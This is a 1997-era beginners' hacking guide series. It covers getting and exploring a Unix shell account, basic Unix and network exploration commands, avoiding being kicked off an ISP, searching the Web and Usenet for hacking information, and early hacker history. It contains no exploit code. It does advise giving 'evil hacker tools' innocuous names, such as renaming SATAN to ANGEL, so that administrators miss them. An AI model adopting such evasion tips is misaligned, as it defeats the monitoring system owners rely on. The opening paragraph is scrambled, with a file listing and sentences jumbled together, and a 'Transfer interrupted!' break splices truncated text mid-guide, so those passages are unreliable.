17:36 www/ Whoa. congratulations. "w" = write permission. the following three are the permissions everyone in your designated group has.command "ls -alF. But only you can read and write to it.1 (dub-gw-2. even though it is on a Unix system. if you want to know all the different ways to use the "ls" command.README 1 galfina user 635 Apr 22 17:36 . honest-to-goodness shell account. HELP. and the final three are the permissions anyone and everyone may have. is not a shell account: BSDI BSD/386 1. if you see anything that looks even a little bit like this. type "man ls" at the prompt. In any case. and "-" means it is a file.Xmodmap 1 galfina user 624 Apr 22 17:36 . it means there is no permission there. it means you have permission to run the program that is in this file). "d" means it is a directory. For example. The entire world may browse ("execute") your Web page. The rest are the permissions your files have. you already have a shell account! ******************************************************* Newbie note: The first item in that bunch of dashes and letters in front of the file name tells you what kind of file it is. here is an example of something that. The symbols in the second. 5 galfina user 1024 Apr 22 21:45 .USKBD 1 galfina user 808 Apr 22 17:36 . On the other hand. If there is a dash.compuserve../ 1 galfina user 2793 Apr 22 17:36 .com) (ttyp7) Connected to CompuServe Host Name: cis Enter choice (LOGON." This gives you an online Unix manual.

" Or. d00d! I am an evil haxor and demand a shell account pronto!" No. some shell accounts are so restricted that they are almost worthless. What can you do? Your best option is to get an account on some distant ISP. perhaps even in another country. But let's say you can't find any ISP within reach of a local phone call that will give you a shell account. "Wow. Unless you live in a really rural area or in a country where there are few ISPs. "Duh?" You say "Shell account. But these definitely are your serious Internet addicts. let me talk to my supervisor. "Greetings. there should be a number of companies to choose from. and say. do you offer shell accounts? I really. For newsgroups. really like to browse the Web with lynx. they claim the Internet access account they are giving you a shell account but you discover it isn't one. Guys who impersonate grrrls on IRC. So you phone or email one of these ISPs on the back roads of the Net and say. He's probably a hacker himself. To avoid this embarrassing scene. no! Chances are you got the owner of this tiny ISP on the other end of the line. no." Mr. I hate waiting five hours for all those pretty pictures and Java applets to load. avoid calling big name ISPs. So what you do is say something like "Say. "We don't give out shell accounts. He doesn't want a customer who's going to be attracting email bombers and waging hacker war and drawing complaints from the sysadmins on whom this deadly dude has been testing exploit code. SHELL ACCOUNT!!!" He says. Netcom) may even have a local dialup number for . "Um. So here's your problem. The one that specializes in pasty-faced customers who stay up all night playing MOOs and MUDs. "I'd like a shell account. And I like to do email with Pine. you dirty &%$*# hacker. IE and Netscape really s***! Lynx uber alles! What user name would you like?" At this point. As you will learn below. the few medium size ISPs that offer shell accounts (for example. er. Or the only shell account you can get is worthless. Also. Guess what? He loves to hack but he doesn't want hackers (or wannabe hackers) for customers. America Online." But Joe Dummy on the other end of the phone says. I can guarantee you. "Shell? What's a shell account?" You say "I want a shell account. I luuuv tin!" Start out like this and the owner of this tiny ISP may say something like. Inc. ask the owner for a guest account.The immediate tip-off that this is not a shell account is that it asks you to "logon" instead of "login:" How to Get a Shell Account What if you are certain that you don't already have a shell account? How do you find an ISP that will give you one? The obvious place to start is your phone book. dude. An ISP that caters to people like that probably also understands the kind of person who wants to learn Unix inside and out. You phone Boring ISP. worse yet. Now that is not to say that MUD and IRC people are typically hackers. Compuserve and Microsoft Network don't give out shell accounts. Or you are well known as a malicious hacker and you've been kicked off every ISP in town. Uptight Supervisor gets on the phone. SHELL ACCOUNT!!!" He says. tiniest ISP in town. I know what you mean. What you want to find is the seediest.

someone may sniff your password and break into your account. So now we need to figure out how to login. If you get to be well known in the hacker world. Now all you hacker geniuses reading this. full Internet access. Please remember that everyone has a first login. you can telnet into your shell account from another ISP account. In many cases it will be the home page for that ISP. In the case of Nile Net we strike hacker gold: Dial-up Accounts and Pricing NEXUS Accounts NEXUS Accounts include: Access to a UNIX Shell. you can still access a shell account located *anywhere* in the world by setting up a PPP connection with your local dialup ISP. this first time can be intimidating. if you are a Unix . almost all shell accounts are set up so you must expose your password to anyone who has hidden a sniffer anywhere between the ISP that provides your PPP connection and your shell account ISP. But if they don't have local dialups. For example. Start with a list of your favorite hacker Web sites.you. In this case it is "http://ra.95 Plus which they make a big deal over freedom of online speech. lots of other hackers will constantly be making fun of you by sniffing your password.nilenet. If you have never used Unix.00 Monthly Service Fee: $19. ************************************************* Evil Genius Tip: Sure. It provides links to Internet Service Providers categorized by geographic region.com/~mjl/hacks/codez. One solution is to insist on a shell account provider that runs ssh (secure shell). One Time Activation Fee: $20. why don't you just forget to flame me for telling people how to do something as simple as how to login. eventually it may become really hard to get a test run on a guest account. here's what you do. But unless you have software that allows you to send your password in an encrypted form.95 or Yearly Service Fee: $199.com. You take the beginning part of the URL (Uniform Resource Locator) as your starting point.celestin. Since this practice provides the opportunity to cause so much harm. In any case. and then accessing your shell account using a telnet program on your home computer. 5mb of FTP and/or WWW storage space. let's try http://ra.htm. and unlimited time. They even have links to allow you to sign up with ISPs serving the Lesser Antilles! *********************************************** Evil Genius tip: Computer criminals and malicious hackers will often get a guest account on a distant ISP and do their dirty work during the few hours this guest account is available to them. And they host a great hacker page full of these Guides to (mostly) Harmless Hacking! How to Login to Your Shell Account Now we assume you finally have a guest shell account and are ready to test drive it. *********************************************** But if you want to find a good shell account the hacker way." Try surfing to that URL. ************************************************** So where can you find these ISPs that will give you shell accounts? One good source is http://www.nilenet. Usenet newsgroups.com/pocia/. Unfortunately. It should have instructions for how to sign up for a shell account.

*********************************************************** Newbie note: "Flames" are insulting." That means if your login name is "JoeSchmoe" the shell will think "joeschmoe" is a different person than "JoeSchmoe" or "JOESCHMOE. send your flames to /dev/null. You may see all sorts of different stuff on that first screen. so you have just connected to your shell account for the first time. It may be a simple as: % or $ or > Or as complicated as: sleepy:~$ Or it may even be some sort of complicated menu where you have to choose a "shell" option before you get to the shell prompt. this newbie note is my flame against &$%@#!! flamers. Any data that is sent to /dev/null is discarded. But the one thing you will always see is the prompt: login: Here you will type in your user name. In response you will always be asked : Password: Here you type in your password." OK. The second thing you need to remember is that Unix is "case sensitive. After this you will get some sort of a prompt. Or it may be a simple as: # ********************************************************** . *********************************************************** The first thing you need to know in order to get into your shell account is your user name and password. So when someone says they will put something in "/dev/null" that means they are sending it into permanent oblivion. You need to get that information from the ISP that has just signed you up. So if you are snooping around here looking for flamebait. "/dev/null" stands for "device null. obnoxious rantings and ravings done by people who are severely lacking in social skills and are a bunch of &$%@#!! but who think they are brilliant computer savants. For example.genius you have no business reading this Beginners' Guide." It is a file name in a Unix operating system.

What do you do next? A good place to start is to find out what kind of shell you have. Jericho is a security consultant runs his own Internet host. Sometimes a hacker thinks he or she has broken into the superuser account because of seeing the "#" prompt. In that GTMHH section you will learn how to: · explore your shell account · decide whether your shell account is any good for hacking · keep from losing your shell account In case you were wondering about all the input from jericho in this Guide. be sure to read Beginners' Series #3 Part 2 of How to Get a *Good* Shell Account.Newbie note: The prompt "#" usually means you have the superuser powers of a "root" account.sekurity. The Unix superuser has the power to do *anything* to the computer. Or. To avoid these fates. at your prompt give the command "echo $SHELL. this command won't work. he was quite helpful in reviewing it and making suggestions. jericho@dimensional. it may be pretty good." for example. obscure. But sometimes this is just a trick the sysadmin is playing. But you won't see this prompt unless either the systems administrator has been really careless -.org. it may be so crippled that it is worthless for hacking.com. ********************************************************** Ready to start hacking from your shell account? Watch out. and happy hacking! GUIDE TO (mostly) HARMLESS HACKING Beginners' Series #3 Part 2 How to Get a *Good* Shell Account ____________________________________________________________ ____________________________________________________________ In this section you will learn: · how to explore your shell account · Ten Meinel Hall of Fame Shell Account Exploration Tools · how to decide whether your shell account is any good for hacking · Ten Meinel Hall of Fame LAN and Internet Exploration Tools · Meinel Hall of Infamy Top Five Ways to Get Kicked out of Your Shell Account ____________________________________________________________ How to Explore Your Shell Account So you're in your shell account. There are many shells. To do this. yes.or someone is playing a joke on you. truly is a shell account. You've tried the "ls -alF" command and are pretty sure this really. but you might inadvertently do something to get you kicked off. If you were to give the command "ECHO $shell. Thank you. ." Be sure to type in the same lower case and upper case letters. So the hacker goes playing around in what he or she thinks is the root account while the sysadmin and his friends and the police are all laughing at the hacker. coming out tomorrow. each of which has slightly different ways of working.

Trust me. If the "echo $SHELL" command doesn't work. the C shell may be better for you. See what riches your ISP has allowed you to use. and I mean *really learn* your most important Unix commands and auxiliary programs. "sh" for Bourne shell. "tcsh" for the Tcsh shell. "ten" sounds like a famous number. If you want to find out what other shells you have the right to use.If you get the response: /bin/sh That means you have the Bourne shell. If this doesn't work. For example." Now that you have chosen your shell. A great book on using the bash shell is _Learning the Bash Shell_. I get to decide what the most important commands are. Fortunately. though. For that you will want to learn. you will have a choice of shells. you'll want a shell that is easy to use. Why is it important to know which shell you have? For right now. when you make a mistake in typing. try the command "echo $shell. for running those super hacker exploits. Hmm. by Cameron Newham and Bill Rosenblatt. You may be able to get the bash shell by simply typing the word "bash" at the prompt. if you are a beginner. If you don't have one of them. the next thing is to explore. when you give the command to get into that shell you will get back the answer "command not found. 2) ls Lists files. If you get: /bin/ksh You have the Korn shell. and "zsh" for the Zsh shell." remembering to use lower case for "shell. Later. Use it on each of the commands below. today! Wonder what all the man command options are? Try the "man -k" option. try "csh" to get the C shell. ask tech support at your ISP for a shell account set up to use bash." This will likely get you the answer: /bin/csh This means you have the C shell. If your shell account is any good. Because I am supreme arbiter of what goes into these Guides. it's nice to hit the backspace key and not see ^H^H^H on your screen. you may not be stuck with whatever shell you have when you log in. you will find bash to be the easiest shell to use. Jericho suggests "Get people in the habit of using "ls -alF". "ksh" to get the Korn shell. published by O'Reilly. So you're going to get the: Ten Meinel Hall of Fame Shell Account Exploration Tools 1) man <command name> This magic command brings up the online Unix manual. If you get: /bin/bash Then you are in the Bourne Again (bash) shell. This will come into play down .

jericho suggests exploring in /tmp. 5) more <filename> This shows the contents of text files. Kewl directories to check out include /usr. But you absolutely must have access to the top ten tools listed above. In addition." "fgrep. "ex." "gmacs. here are my: Ten Meinel Hall of Fame LAN and Internet Exploration Tools 1) telnet <hostname> <port number or name> If your shell account won't let you telnet into any port you want either on its LAN or the Internet. Also you might be able to find "less" and "cat" which are similar commands. Similar commands are "find" and "locate." and "pico." and "look." It's another editing program and IMHO more fun than vi. and "mv" for move file." ." 9) chmod <filename> Change file permissions. You can use it to write a really lurid file for people to read when they finger you. 4) cd <directory> Changes directories." "gnuemacs. not all shell accounts are created equal. you will need tools to explore both your ISP's local area network (LAN) and the Internet. How to Tell Whether Your Shell Account Is any Good for Hacking Alas. For laughs. Or try "emacs. you are totally crippled as a hacker." "rwho. If you see such a long list of files that they scroll off the terminal screen." Try them all for extra fun. Dump your ISP now! 2) who Shows you who else is currently logged in on your ISP's LAN. So in the spirit of being Supreme Arbiter of Haxor Kewl. You'll need it to make your own files and when you start programming while in your shell account." 3) pwd Shows what directory you are in. 7) vi An editing program.the road for security-conscious users. Other editing programs you may find include "ed" (an ancient editing program which I have used to write thousands of lines of Fortran 77 code). Other good commands to explore the other users on your LAN are "w. one way to solve the problem is to use "ls -alF|more. 6) whereis <program name> Think there might be a nifty program hidden somewhere? Maybe a game you love? This will find it for you. Similar commands are "egrep." You'll see a huge list of files that you can't see with the "ls" command alone. Your ISP may have decided to cripple your budding hacker career by forbidding your access to important tools. /bin and /etc." 8) grep Extracts information from files. " "users. If you have this command you should also find "cp" for copy file. 10) rm <filename> Delete file." "fmt. and lots of details. especially useful for seeing what's in syslog and shell log files.

Jericho recommends _Unix in a Nutshell_ published by O'Reilly. Nslookup and dig are not redundant. 7) finger Not only can you use finger inside your LAN.or just plain be a meanie and clobber people with pings. You can be kicked off for suspicion of being a bad guy. an account on a powerful computer running Unix. 10) ftp Use it to upload and download files to and from other computers. reveals routers and boxes running firewalls. you will probably want to supplement the "man" command with a good Unix book .3) netstat All sorts of statistics on your LAN. However. Meinel Hall 'O Infamy Top Five Ways to Get Kicked out of Your Shell Account 1) Abusing Your ISP . O'Reilly r00lz. you're in great shape to begin your hacking career. For real fun. jericho warns "Be careful. and only costs 10 bucks. Treat it well. Stay with your ISP." How to Keep from Losing Your Shell Account So now you have a hacker's dream. It will sometimes get you valuable informa> ------------------------------------------------------------------------ Transfer interrupted! sts." 4) whois <hostname> Get lots of information on Internet hosts outside you LAN. She was booted off the system the next day for 'hacker suspicion' even though both are legitimate commands for users. 5) nslookup Get a whole bunch more information on other Internet hosts. that is not so easy.) 9) traceroute Kind of like ping with attitude. "It is the ultimate Unix command reference. If you have all these tools. including all Internet connections. Once you get your shell account. at the whim of the owners. or even if you become inconvenient. 6) dig Even more info on other Internet hosts. Maps Internet connections. How do you keep this dream account? If you are a hacker. The problem is that you have no right to keep that account. I was teaching a friend the basics of summing up a Unix system and I told her to do that and 'ifconfig'. 8) ping Find out if a distant computer is alive and run diagnostic tests -. (I strongly advise *against* using ping to annoy or harm others. Try to get a shell account that lets you use both. try "netstat -r" to see the kernel routing table.

Thinking of ICBMing or nuking that dork? Resist the temptation to abuse ping or any other Internet Control Message Protocol attacks. NEVER ABUSE YOUR ISP! ********************************************************* You can go to jail warning: Of course. They laugh at your email. your password doesn't work. But they don't. maybe they are really high-minded and resist the temptation to snoop in your email. You compile and run the program against your own ISP. But if you keep on probing and playing with another computer. Usually you are OK if you just briefly visit another computer via telnet. ********************************************************* 2) Ping Abuse.Let's say you are reading Bugtraq and you see some code for a new way to break into a computer. Otherwise you are breaking the law. ********************************************************** Newbie note: SATAN stands for Security Administration Tool for Analyzing Networks.) Even if no one complains about you. (These records of port visits are stored in "messages. some sysadmins habitually check the shell log files that keep a record of everything you or any other user on the system has been doing in their shells. You tweak it until it runs under your flavor of Unix. many ISPs have a monitoring system that detects the use of the program SATAN. If they don't like what they see. OK. NEVER. You fix up the purposely crippled stuff someone put in to keep total idiots from running it. 4) Running Suspicious Programs If you run a program whose primary use is as a tool to commit computer crime. he or she may assume you are plotting a break-in. and don't go any further than what that port offers to the casual visitor. you must have the permission of the owner. you are likely to get kicked off your ISP. if you want to break into another computer. Use ping only as a diagnostic tool. *********************************************************** 5) Storing Suspicious Programs It's nice to think that the owners of your ISP mind their own business. your password is dead. If your sysadmin sees a pattern of excessive attention to one or a few computers. next time you go to log in. you! Only. For example. Panting with excitement.and assuming it is a Unix system. next they will be prowling your program files. It basically works by telnetting to one port after another of the victim computer. you brilliant dude. OK? Please? Or else! 3) Excessive Port Surfing Port surfing is telnetting to a specific port on another computer. It determines what program (daemon) is running on each port. the sysadmin at the target computer will probably email your sysadmin records of your little visits. It works! You are looking at that "#" prompt and jumping up and down yelling "I got root! I got root!" You have lost your hacker virginity. . This is especially common on Internet Relay Chat. you run emacs and paste in the code. Another temptation is to use the powerful Internet connection of your shell account (usually a T1 or T3) to ping the crap out of the people you don't like." and sometimes in "syslog" depending on the configuration of your target computer -. Or it may be just as easily used by a computer criminal to break into someone else's computer. But chances are high that they will snoop in your shell log files that record every keystroke you make while in your shell account. You have been booted off your ISP. They snoop in the directories of their users. SATAN can be used by a sysadmin to figure out how to make his or her computer safe. Run SATAN from your shell account and you are history. Boom. and figures out whether that daemon has a vulnerability that can be used to break into that computer.

sure. They are OK for beginner stuff. Or try making friends with your sysadmin and explaining what you are doing. even if they are primarily used to commit crimes. In fact. For example. If you wish your message posted anonymously.com and be sure to state in your message that you want me to keep this confidential. Shell accounts are kind of like hacker training wheels. Most hacker tools. Who knows. If you have Unix on your home computer and use a PPP connection to get into the Internet. port surf all. Certainly if you want to become a sysadmin someday you will need to learn how these programs work.com. SATAN is legal to use. you could rename SATAN to ANGEL. wait. But to become a serious hacker. please say so! Direct flames to dev/null@techbroker. you can learn lots of neat stuff with SATAN.with no commands censored? Want to be able to look at the router tables. and keep SATAN in your home directory without getting kicked out for suspicion of hacking? Do you want to be able to telnet in on ssh (secure shell)so no one can sniff your password? Are you willing to pay $30 per month for unlimited access to this hacker playground? How about a seven day free trial account? Email haxorshell@techbroker.org.com. yes. jericho@dimensional. Thank you.One solution to this problem is to give your evil hacker tools innocuous names. you are saying. and happy hacking! _________________________________________________________ Subscribe to our discussion list by emailing to hacker@techbroker. you may end up working for your ISP! In the meantime. obscure. Why get a shell account if I can get kicked out even for legal.net. you may as well learn the truth. This GTMHH may be useful even to Uberhackers (oh. Happy hacking! Copyright 1997 Carolyn P. Sigh. ________________________________________________________ ___________________________________________________________ GUIDE TO (mostly) HARMLESS HACKING Beginners' Series Number 4 How to use the Web to look up information on hacking. no. you either need to find an ISP run by hackers who will accept you and let you do all sorts of suspicious things right under their nose. 2 Number 2: Linux!). ************************************************************ Would you like a shell account that runs industrial strength Linux -. innocuous hacking? After all. You may forward or post this GUIDE TO (mostly) HARMLESS HACKING on your Web site as long as you leave this notice at the end. To send me confidential email (please. you can use your shell account to practice just about anything Unixy that won't make your sysadmin go ballistic. flame alert!) ____________________________________________________________ . Yeah.com with message "subscribe" Want to share some kewl stuph with the Happy Hacker list? Correct mistakes? Send your messages to hacker@techbroker. Wait. Jericho is a security consultant and also runs his own Internet host. he was quite helpful in reviewing this and making suggestions. are also educational. Or you can install some form of Unix on your home computer. But your sysdamin may try running your programs to see what they do. ************************************************************ In case you were wondering about all the input from jericho in this Guide. But that's another Guide to (mostly) Harmless Hacking (Vol.sekurity.com for details. you are history.com. your ISP is much less likely to snoop on you. If any of your programs turn out to be commonly used to commit computer crimes. no discussions of illegal activities) use cmeinel@techbroker. Meinel.

animated fires burning. you may not like the flames they bring down on you. You get portentous-sounding organ music. so you painfully surf through one hacker Web site after another. Fortunately.net/search/. And. let's consider the Web search engines. and of course @#$%^&*! This newbie note is my flame against those flamers to whom I am soooo superior.edu> 1995/11/17 . I sympathize with your problems because I get flamed a lot. I make my living asking dumb questions. you get this huge long list of posts. really unpopular? Try asking your hacker friends too many questions of the wrong sort. First. in some parts of the world it is difficult to get manuals. But others enable you to search Usenet newsgroups that have been archived for many years back. But just how do you efficiently use these search engines? If you ask them to find "hacker" or even "how to hack.com). There are two major considerations in using Web search engines. if you don't want to take me at my word. guess what. but. d00dz!!! I am so *&&^%$ good at hacking you should bow down and kiss my $%^&&*!" But somehow they don't seem to have any actual information. Now the luser approach would to simply go to http://www. but that costs a lot of money. d****.dejanews. let's say you want to find out whether I. you only need two: Alavista (http://altavista. ******************************************************** Newbie note: Have you been too afraid to ask the dumb question." you will get bazillions of Web sites and news group posts to read.dejanews. how do we know what are the wrong questions to ask? OK. So that's why you don't see me flaming people who ask dumb questions. too. however. OK. But if you do that. That's partly because I sincerely believe in asking dumb questions. am an elite hacker chick or merely some poser. Some just help you search the Web itself. call people on the phone and hang out on Usenet news groups asking dumb questions so I can find out stuff for them." f*** y***. Altavista is the best for the Web. One is what search engine to use. ******************************************************** But even though dumb questions can be good to ask. most of which have nothing to do with hacking: CDMA vs GSM . Also. you may surf over to a site with links to almost all the Web and Newsgroup search engines at http://sgk. Also. how do you find out answers for yourself? This Guide covers one way to find out hacking information without having to ask people questions: by surfing the Web. So.com and do a search of Usenet news groups for "Carolyn Meinel. "What is a flame?" Now you get to find out! It is a bunch of obnoxious rantings and ravings made in email or a Usenet post by some idiot who thinks he or she is proving his or her mental superiority through use of foul and/or impolite language such as "you suffer from rectocranial inversion. But.Want to become really. skulls with red rolling eyes. while Dejanews is the best one for searching Usenet news groups. But eventually I came to the conclusion that for serious research. b****. the best hacker email lists are archived on the Web. I have used many Web search engines.digital. almost anything you want to learn about computers and communications is available for free somewhere on the Web." being sure to click the "old" button to bring up stuff from years back. if you want to avoid flames. But. as well.carolyn meinel <cmeinel@unm. For example. People pay me lots of money to go to conferences. Hey. the Supreme R00ler of the Happy Hacker world. and each site has links to other sites with pretentious music and ungrammatical boastings about "I am 31337.tiac.com)and Dejanews (http://www. welcome to the wannabe hacker world! You need to figure out some words that help the search engine of your choice get more useful results. and the other is the search tactics themselves. The other way is to buy lots and lots of computer manuals. sometimes the dumbest questions get you the best answers.

it (Riccardo Mannella) 1996/12/30 Cu Digest. McWilliams) 1997/01/08 Etc.com (Brian S.who is he? lness@ucs. Tue 31 Dec 96 .edu (lester john ness) 1996/01/06 U-B Color Index observation data . This way all those posts about my boring life in the world of science don't show up.cmeinel@nmia.net (Christopher Proctor) 1995/12/16 Re: Lyndon LaRouche . the best way to search the Web is to use it exactly the way its inventor. You start at a good spot and then follow the links to related sites.ofthe. ****************************************** Newbie note: "Boolean" is math term. Meinel) 1996/05/13 Re: Mars Fraud? History of one scientist involved gksmiley@aol. Altavista has real Boolean algebra under its "advanced"" search option.hooked. Sooooooper Genius .gov (Gerard J.cso. But if you specify "Carolyn Meinel hacker" and click "all" instead of "any" on the "Boolean" button. The "not" operator would exclude items that included the "not" term even if they have any or all of the other search terms.net 1996/08/12 Hackers Helper E-Zine wanted .93.edu) <TK0JUT2@MVS. For example.nobody@cypherpunks. a remailer node) 1996/12/12 Anyhow.EDU> 1996/12/31 RealAudio interview with Happy Hacker . Tim Berners-Lee. On the Dejanews search engine they figure the user doesn't have a clue of what "Boolean" means so they give you a choice of "any" or "all" and then label it "Boolean" so you feel stupid if you don't understand it.Re: October El Nino-Southern Oscillation info gonthier@usgs.ca (John Anonymous MacDonald.difi. a search on "Carolyn Meinel hacker flame" with Boolean "all" turns up only one post.bmcw@redbud. just the juicy hacker stuff.edu (The Reaver) 1995/11/30 shirkahn@earthlink.Cu Digest (tk0jut2@mvs. This important tome says the Happy Hacker list is a dire example of what happens when us prudish moderator types censor naughty words and inane diatribes.com (Carolyn P. Imagine that! . Now suppose all you want to see is flames about what a terrible hacker I am. ****************************************** But let's forget all those Web search engines for a minute.rcortes@tuna.net (Raul Cortes) 1996/12/06 Carolyn Meinel.com (GK Smiley) 1996/08/11 Re: Mars Life Announcement: NO Fraud Issue twitch@hub.CSO. Gonthier) 1995/11/20 Re: Internic Wars MrGlucroft@psu. In my humble yet old-fashioned opinion.NIU. intended. #8. this list goes on and on and on.indiana. You could bring those to the top of the list by adding (with the "all" button still on) "flame" or "f***" or "b****" being careful to spell out those bad words instead fubarring them with ****s.unipi. But in real Boolean algebra we can use the operators "and" "or" and "not" on word searches (or any searches of sets). you get a list that starts with: Media: "Unamailer delivers Christmas grief" -Mannella@ipifidpt. "or" means you would have a search that turns up "any" of the terms.niu.mv. "And" means you would have a search that turns up only items that have "all" the terms you specify.

Here's another of my old fogie tips. if you break into a computer that is across a state line from where you launch your attack. That's one reason breaking into computers is widely regarded as the pinnacle of hacking. you will discover the information at these two sites will *NOT* instantly grant you access to any victim computer you may choose. and super expensive way is to buy and study lots of manuals. Here's why. Otherwise you are violating the law. So if you don't realize even this much. I'm a real believer in manuals. and if you have a shell account.html and http://www. I read them in the bathroom. At the prompt. you can do it with the program lynx. <Geek mode on> Look. Not only do they carry archives of these Guides. The world is full of many kinds of computers running many kinds of software on many kinds of networks. So you need to thoroughly study a computer system before you an even think about planning a strategy to break into it. They get their phriends to give them a bunch of canned break-in programs. er. OK. or else get the permission of the owner if you want to break into someone else's computer. Of course some people take the shortcut into hacking.html *************************************************** You can go to jail warning: If you want to take up the sport of breaking into computers. I prefer to read manuals and other technical documents from the Web. you need to do lots and lots of homework before you can even dream of breaking into computers. How you break into a computer depends on all these things.on. Next. In the US.utexas.rc. Besides. But. RFC stands for "Request for Comment. But actually RFCs are the . If you want to really whiz around the Web. remember that most nations have treaties that allow them to extradite criminals from each others' countries. I spend about $200 per month on them. So are you serious? Do you *really* want to be a hacker badly enough to learn an operating system inside and out? Do you *really* want to populate your dreaming hours with arcane communications protocol topics? The old-fashioned. just type "lynx followed by the URL you want to visit. If you cross national boundaries to hack. if you surf over to those site you won't instantly become an Ubercracker. So where are good places to start? Simply surf over to the Web sites listed at the end of this Guide. as well as links to other quality sites.org Warning: parental discretion advised. animated skulls and pornographic JPEGs to load.ca/index. and while waiting for doctor's appointments. The they get busted and run to the Electronic Freedom Foundation and whine about how the Feds are persecuting them. you should either do it with your own computer." Now this sounds like nothing more than a discussion group. But if I'm at my desk. consider one of the most common questions I get: "How do I break into a computer????? :( :(" Ask this of someone who isn't a super nice elderly lady like me and you will get a truly rude reaction. is the RFCs.silitoad. Unless you already are an excellent programmer and knowledgeable in Unix or Windows NT. they carry a lot of other valuable information for the newbie hacker. too. It's not that easy. Then they try them on one computer after another until they stumble into root and accidentally delete system files. Because lynx only shows text.edu/users/matt/hh. You'll see some other great starting points elsewhere in this Guide.cs. you are committing a Federal felony. I'll stop hiding the secrets of universal computer breaking and entry. You are going to have to learn how to program. Check out: Bugtraq archives: http://geek-girl. *************************************************** Wait just a minute. while sitting in traffic jams. Learn at least one operating system inside and out. My favorites are http://www. hacker.com/bugtraq NT Bugtraq archives: http://ntbugtraq. the Web stuff is free! <Geek mode off> The most fantastic Web resource for the aspiring geek. you don't have to waste time waiting for the organ music.

But please keep this in mind. as in "Subject: FYI mm" or "Subject: RFC nnnn". Be sure to put it in quotes just like this example in order to get the best results. It is in a sense a specification for RFCs.org/Connected/. Even a dumb question. just go to Altavista and search for "RFC 825" or whatever the number is. how do we even know which RFC to read to get an answer to our questions? Guess what. with the pathname FYI:mm. these RFCs can be pretty hard to understand! Heck. Sometimes it can save you a lot of grief just to ask a question. Let's Talk this Stuff Over." DARPA/ARPA keeps on getting its name changed between these two. . Admittedly it doesn't contain all the RFCs.or sometimes DARPA.tstt. You just have to try it yourself. how about the RFC on RFCs! That's right. ******************************************************** Now ideally you should simply read and memorize all the RFCs.TXT. a fascinating group of RFCs called "FYIs" Rather than specifying anything.DDN. FYIs simply help explain the other RFCs.EDU/security/security. How do you get FYIs? Easy! I just surfed over to the RFC on FYIs (1150) and learned that: FYIs can be obtained via FTP from NIC. Then in 1996 the US Congress passed a law changing it back to DARPA because "defense" is a Good Thing.nist. Address the request to SERVICE@NIC. But even better than this is an organized set of RFCs hyperlinked together on the Web at http://www. But it has a tutorial and a newbiefriendly set of links through the most important RFCs.tt/pub/inet/rfc/rfcindex. Last but not least. The funny name "RFC" comes from ancient history when lots of people were discussing how the heck to make that ARPAnet thingy work.gov/secpubs/rainbow/ http://GANDALF.DDN.MIL." ******************************************************** Newbie note: ARPAnet was the US Advanced Research Projects Agency experiment launched in 1969 that evolved into the Internet. he changed DARPA back to ARPA because "defense" is a Bad Thing. there is solution. That "D" stands for "defense. Whoa. you can check out two sites that offer a wealth of technical information on computer security: http://csrc.ISU." To find this RFC. Login with FTP. Sometimes it's not easy to figure something out just by reading huge amounts of technical information. The NIC also provides an automatic mail service for those sites which cannot use FTP.MIL and in the subject field of the message indicate the FYI or RFC number.definitive documents that tell you how the Internet works. RFC 825 is "intended to clarify the status of RFCs and to provide some guidance for the authors of RFCs in the future. Hey.html security library I hope this is enough information to keep you busy studying for the next five or ten years.FreeSoft. or RFC:RFCnnnn.TXT (where "mm" refers to the number of the FYI and "nnnn" refers to the number of the RFC). For example.net. So how do we find an RFC that will answer whatever is our latest dumb question? One good starting place is a complete list of all RFCs and their titles at ftp://ftp. Although this is an ftp (file transfer protocol) site. when Bill Clinton became US President in 1993. When you read RFCs you will often find references to ARPAnet and ARPA -. or in fact any RFC for which you have its number. Or. So those of us without photographic memories and gobs of free time need to be selective about what we read. But there are zillions of RFCs and some of us need to take time out to eat and sleep. username ANONYMOUS and password GUEST. you can access it with your Web browser. I can't even begin to explain to you how wonderful this site is. But nowadays RFC means "Gospel Truth about How the Internet Works" instead of "Hey Guys.

Where did it begin and how did it grow? ____________________________________________________________ If you wonder what it was like in days of yore. Oh. blue boxing the phone lines. later to become leader of the silver wing-headed Xanadu gang at the 1980 Worldcon. . they believe. Just remember to fireproof your phone and computer first! GUIDE TO (mostly) HARMLESS HACKING Beginners' Series Number 5 Computer hacking. Inside are nerdz high on caffeine and nitrous oxide.how would you like to check out the Web site for those of us who make our living asking people dumb questions? Surf over to http://www. twenty. So. Nowadays guys at hacker cons might dress like vampires. MIT students are warring for control of the school's mainframe computers. but this is hardly the dawn of hacking. are the campus' ARPA-funded computers. The back cover shows a Superman-type figure flying and the slogan "You can and must learn to use computers now. the future NSA chief scientist. They use machine language programs that each strive to delete all other programs and seize control of the central processing unit. Few see the wave of free-spirited anarchy the hacker culture is already unleashing. But LSD guru Timothy Leary's daughter Susan begins to study computer programming. Eric Drexler. Ted Nelson. Back then there were no personal computers. Robert Morris Sr. how about letting and old lady tell you the way it used to be. Keith Henson (now waging war against the Scientologists) and K.scip. Around 1966." that predicted a future in which technology would squash all human freedom. first coins the word "hypertext" to describe what will someday become the World Wide Web." a free-form computer game played to this day by some of the uberest of uberhackers. He and the two friends who code it call their game "Darwin. Where shall we start? Seventeen years ago and the World Science Fiction Convention in Boston. Nelson later spreads the gospel in his book Literacy Online. Let's look at the Boston area yet another seventeen years further back. Few are listening to Nelson. ten." But in 1965 the computer is widely feared as a source of Orwellian powers. selling massages.. H." Later "Darwin" becomes "Core War. Yes. Massachusetts? Back then the World Cons were the closest thing we had to hacker conventions. Have phun asking those dumb questions. That's the home page of the Society of Competitive Information Professionals. as in George Orwell's ominous novel . thirty years ago. Their enemy. make someone's day. In 1980 they wear identical black baseball caps with silver wings and the slogan: "Xanadu: wings of the mind. In 1965." Others at World Con are a bit more underground: doing dope.org. go ahead. Wow. They dream of creating what is to become the World Wide Web. decides to mutate these early hacker wars into the first "safe hacking" environment. Ted Nelson is running around with his Xanadu guys: Roger Gregory. later to build the Foresight Institute. 1969 turns out to be the most portent-filled year yet for hacking. Picture 1980. Under the direction of the young Roger Johnson. "1984. Let's jump to 1968 and the scent of tear gas. the early 60s. This becomes the first realization of cyberspace: Plato. they gang together four CDC 6400s and link them to 1024 dumb vector graphics terminals. the home organization for folks like me. look at those rocks hurling through the windows of the computer science building at the University of Illinois at Urbana-Champaign! Outside are 60s antiwar protesters. The hotel staff has to close the swimming pool in order to halt the sex orgies.

